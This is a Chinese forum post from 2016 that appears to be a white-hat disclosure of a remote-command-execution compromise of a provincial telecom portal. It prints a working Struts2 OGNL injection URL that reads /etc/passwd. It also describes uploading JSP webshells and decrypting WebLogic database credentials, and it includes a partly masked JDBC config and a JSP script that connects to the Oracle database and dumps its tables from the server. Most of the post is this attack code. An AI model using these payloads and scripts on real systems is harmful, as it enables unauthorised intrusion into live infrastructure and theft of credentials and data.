HanDs
管理员

[7月漏洞公开] 某省电信主站getshell 



一直放在手头比较久吧,没有太多时间去提交。

详细说明:

神器获取到一个命令执行:

安徽电信:http://**.**.**.**/vportal/kd.action



code 区域
http://**.**.**.**/vportal/kd.action?redirect:$%7B%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%20%7B'cat','/etc/passwd'%7D)).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%**.**.**.**.InputStreamReader%20(%23b),%23d%3dnew%**.**.**.**.BufferedReader(%23c),%23e%3dnew%20char%5B50000%5D,%23d.read(%23e),%23matt%3d%20%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println%20(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D



01.jpg





根据分析,这是一个使用Weblogic搭建的站点,找到可以解析shell的地方直接上webshell,但是发现通过使用不少POC和工具测试,似乎很难写shell,于是就纳闷最后测试到鬼哥的st2工具才顺利获得shell。

但似乎是负载均衡的问题,可能导致某些时间或地域性问题导致访问shell是404

02.jpg

漏洞证明:

解密weblogic中的密码,获取了数据库密码(只是连上去看看,没有动啥数据)

code 区域
<url>jdbc:oracle:thin:@13*.6*.2*.1*:1521:ahwss</url>
<driver-name>oracle.jdbc.OracleDriver</driver-name>
<properties>
<property>
<name>user</name>
<value>vp****</value>
</property>
</properties>
<password-encrypted>{AES}qOKl2h***Rn8Tki***KYvMoRnw***/ArD**Cx4oOrYmWz4=</password-encrypted>



03.png





很可惜禁止了服务端执行SQL语句,尝试绕过无果

04.jpg





最后想出可以写一个脚本让服务端自身去执行SQL语句。

code 区域
<%@ page language="java" import="java.util.*" import="**.**.**.**.*"
import="java.sql.*" pageEncoding="UTF-8"%>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>jdbc.jsp</title>
</head>

<body>
<%
try{
Connection con;
Statement stmt;
ResultSet rs;

Class.forName("oracle.jdbc.driver.OracleDriver");

java.sql.DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());

String dbUrl="jdbc:oracle:thin:@1**.*4.*.***3:1521:ah***";//This your oracle address and current database
String dbUser="vp**t***";
String dbPwd="vp*t1***";

con=java.sql.DriverManager.getConnection(dbUrl,dbUser,dbPwd);

stmt=con.createStatement();

rs=stmt.executeQuery("select * from user_tables");
out.println("<table border=1 width=400>");
while(rs.next())
{
String col1=rs.getString(1);
String col2=rs.getString(2);
String col3=rs.getString(3);

out.println("<tr><td>"+col1+"</td><td>"+col2+"</td><td>"+col3+"</td></tr>");
}
out.println("</table>");

rs.close();
stmt.close();
con.close();
}

catch(Exception e){out.println(e.getMessage());}

%>
</body>
</html>



05.jpg

修复方案:

点到为止,我就是这样一个白帽子。

测试中可能测试上传过一些jspshell 我能清理的尽量删除了.请排查安全银黄


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
某省
#1楼
发帖时间:2016-7-9   |   查看数:0   |   回复数:0
游客组
快速回复